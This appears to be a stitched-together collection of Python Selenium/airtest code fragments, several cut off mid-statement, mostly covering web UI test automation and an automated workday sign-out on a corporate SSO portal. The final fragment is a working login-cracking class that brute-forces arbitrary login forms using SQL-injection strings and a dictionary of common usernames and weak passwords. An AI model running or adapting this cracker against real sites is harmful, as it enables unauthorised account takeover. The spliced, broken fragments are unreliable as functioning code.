class TestWebBaseCase(TestBaseCase): """ web测试初始化 """ def setup(self): super(TestWebBaseCase, self).setup() self.driver = WebChrome() self.driver.implicitly_wait(5) self.driver.get(BASEURL) # 使用cookie打开浏览器 with shelve.open(f"{mydbs_dir}/cookies") as db: # coo = self.driver.get_cookies() # db["cookies"] = coo cookies = db["cookies"] for cookie in cookies: if "expiry" in cookie.keys(): cookie.pop("expiry") continue self.driver.add_cookie(cookie) self.driver.get(BASEURL) self.log.info("进入主界面") self.main_page = MainPage(self.driver) def teardown(self): super(TestWebBaseCase, self).teardown() self.log.info("关闭浏览器") self.driver.quit()
def job1(useid, password): #通过python自带的模块判断是不是节假日 nowTime = datetime.date(datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day) print(is_workday(nowTime)) if is_workday(nowTime): print('Its weekday') driver = WebChrome() driver.implicitly_wait(20) driver.get( "http://sso.portal.unicom.local/eip_sso/aiportalLogin.html?appid=na186&success=http://service.aiportal.unicom.local/ssoclient/ssologin&error=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html&return=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html" ) driver.find_element_by_id('login').send_keys(useid) driver.find_element_by_id('password').send_keys(password) driver.find_element_by_xpath("//button[@class='login_botton']").click() driver.find_element_by_xpath( "//div[@class='pan' and @label='人力资源2.0']").click() driver.switch_to_new_tab() driver.find_element_by_xpath( "//a[@class = 'gn_block gn_block1']").click() driver.switch_to_new_tab() driver.find_element_by_xpath( "//button[@class='ant-btn sign-btn signout ant-btn-primary']" ).click() driver.quit() else: print('Its holiday')
import unittest from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) # 关注列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/div").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/ul/li/ul/li/span" ).click() sleep(5) class Assert_test(unittest.TestCase): # 打开店铺详情 driver.find_element_by_xpath("//a[@title='perfectdiary旗舰店']").click() # 按月 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div[1]/div/div[1]/div[1]/div[3]/div[1]/span" ).click() sleep(1) driver.find_element_by_xpath("/html/body/ul/li[2]").click()
from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome driver = WebChrome() driver.implicitly_wait(10) driver.maximize_window() driver.get("https://www.yigongla.com/") driver.find_element_by_xpath("//a[@href='/index/index/index']").click() driver.find_element_by_xpath("//a[@href='/index/qyserve/qyserve']").click() driver.assert_exist("/html/body/div[3]/div/h3", "xpath", "我的价值") driver.find_element_by_xpath("//a[@href='/index/inquiry/inquiry']").click() driver.find_element_by_xpath("//a[@href='/index/about/about']").click() driver.find_element_by_xpath("/html/body/div/div[2]/a/button").click() driver.assert_exist("/html/body/div/div/div/div/div/div", "xpath", "密码登录") driver.assert_exist("/html/body/div/div/div/div/div/div[2]", "xpath", "验证码登录") driver.assert_exist("/html/body/div/div/div/div[3]/p", "xpath", "还没有易工账号") driver.assert_exist("/html/body/div/div/div/div[3]/div/a/span", "xpath", "立即注册") driver.assert_exist("passwordLogin", "id", "登录") driver.assert_exist("/html/body/div[2]/p", "xpath", "从蓝领招聘开始解决缺工现象.") driver.quit()
options.add_argument('--dns-prefetch-disable') options.add_argument("--disable-features=VizDisplayCompositor") options.add_experimental_option("excludeSwitches", ["enable-automation"]) options.add_experimental_option("excludeSwitches", ["enable-automation"]) options.add_experimental_option('useAutomationExtension', False) options.add_argument('start-maximized') options.add_argument('enable-automation') options.add_argument('--no-sandbox') options.add_argument('--disable-infobars') options.add_argument('--disable-dev-shm-usage') options.add_argument('--disable-browser-side-navigation') options.add_argument('--disable-gpu') options.add_argument('--disable-extensions') driver = WebChrome(executable_path=chrome, options=options) driver.implicitly_wait(40) dfx = driver.find_element_by_xpath ser = CaseService() def main_setup(): try: driver.get(test_url) driver.maximize_window() dfx("//button[@type='submit']").click() except Exception as e: ser.find_JSerror(driver) print( '================================================================') print(e.args) print(
ordl = [] testl = [] for i in ords: if int(i['ord'][:3]) == j: ordl.append(i['ord']) ordl.sort() for j in ordl: for i in ords: if i['ord'] == j: testl.append(i) testcases.append(testl) for k in testcases: driver = WebChrome() driver.implicitly_wait(8) #测试执行 driver.get("https://member.163220.com/#/home") driver.maximize_window() pid = psutil.Process( driver.service.process.pid).children(recursive=True)[0].pid #元素绑定方法 try: runtest(driver, pid, k, testcases) except: raise finally: driver.close()
class cracker(): def __init__(self, target_url): self.driver = WebChrome() self.driver.get(target_url) self.driver.implicitly_wait(20) self.exp_user_dic = [ "admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1", "')or('a'='a", "'or 1=1 -- -" ] self.exp_pass_dic = self.exp_user_dic self.static_user_dic = [ 'admin', 'system', 'sa', 'test', 'manager', 'root', 'user', 'www', 'web', 'username', 'guest', 'name', 'zhanghao', 'yonghu', 'email', 'account' ] self.suffix_dic = ['', '123', '888', '666', '123456'] self.static_pass_dic = [ '{user}', '123456', '{user}888', '12345678', '123123', '88888888', '888888', 'password', '123456a', '{user}123', '{user}123456', '{user}666', '{user}2018', '123456789', '654321', '666666', '66666666', '1234567890', '8888888', '987654321', '0123456789', '12345', '1234567', '000000', '111111', '5201314', '123123', 'pass', 'password', 'P@ssw0rd', 'P@ssw0rd2019', 'P@ssw0rd2020', 'P@ssw0rd2021' ] self.password_inputbox_id = '' self.username_inputbox_id = '' def find_element_ids(self): page_source = self.driver.page_source username_flags = ["user", "account", "用户名", "邮箱", "手机", "证号"] rex_ele_id = re.compile(r'id="(\S*?)"') rex_username_ele = re.compile(r'(<input .*type="text".*?>)') rex_password_ele = re.compile(r'(<input .*type="password".*?>)') possible_username_eles = rex_username_ele.findall(page_source) username_ele = '' for possible_username_ele in possible_username_eles: if username_ele: break for username_flag in username_flags: if username_flag in possible_username_ele: username_ele = possible_username_ele break if not username_ele: self.username_inputbox_id = '' else: self.username_inputbox_id = rex_ele_id.findall(username_ele)[0] print("Uername Input Box ID:\t{}".format( self.username_inputbox_id)) password_eles = rex_password_ele.findall(page_source) password_ele = password_eles[0] if password_eles else '' if not password_ele: self.password_input_id = '' else: self.password_inputbox_id = rex_ele_id.findall(password_ele)[0] print("Password Input Box ID:\t{}".format( self.password_inputbox_id)) return True def brute_force(self, username, password): password = password.replace( '{user}', username) if '{user}' in password else password print('Trying {0}:{1}'.format(username, password)) username_ele = self.driver.find_element_by_id( self.username_inputbox_id ) if self.username_inputbox_id else self.driver.find_element_by_xpath( "//input[@type='text']") password_ele = self.driver.find_element_by_id( self.password_inputbox_id ) if self.password_inputbox_id else self.driver.find_element_by_xpath( "//input[@type='password']") username_ele.clear() username_ele.send_keys(username) password_ele.send_keys(password) password_ele.send_keys(Keys.RETURN) sleep(2) if self.password_inputbox_id in self.driver.page_source and self.username_inputbox_id in self.driver.page_source: print('Login Failed') return False else: print('Login Succeed') return True def loop(self, users, passwords): for user in users: for password in passwords: try: ret = self.brute_force(user, password) if ret: return True except Exception as e: print(e) self.driver.refresh() sleep(1) return False def run(self, userfile='', passfile=''): self.find_element_ids() if userfile and passfile: users = open(userfile).read().strip('\n').split('\n') passwords = open(passfile).read().strip('\n').split('\n') if self.loop(users, passwords): print("爆破成功") input() else: print("Loading inject users/passwords") users = self.exp_user_dic passwords = self.exp_pass_dic if self.loop(users, passwords): print("爆破成功") input() print("Loding default account pairs") users = [] for suffix in self.suffix_dic: for user in self.static_user_dic: users.append(user + suffix) passwords = self.static_pass_dic if self.loop(users, passwords): print("爆破成功") input()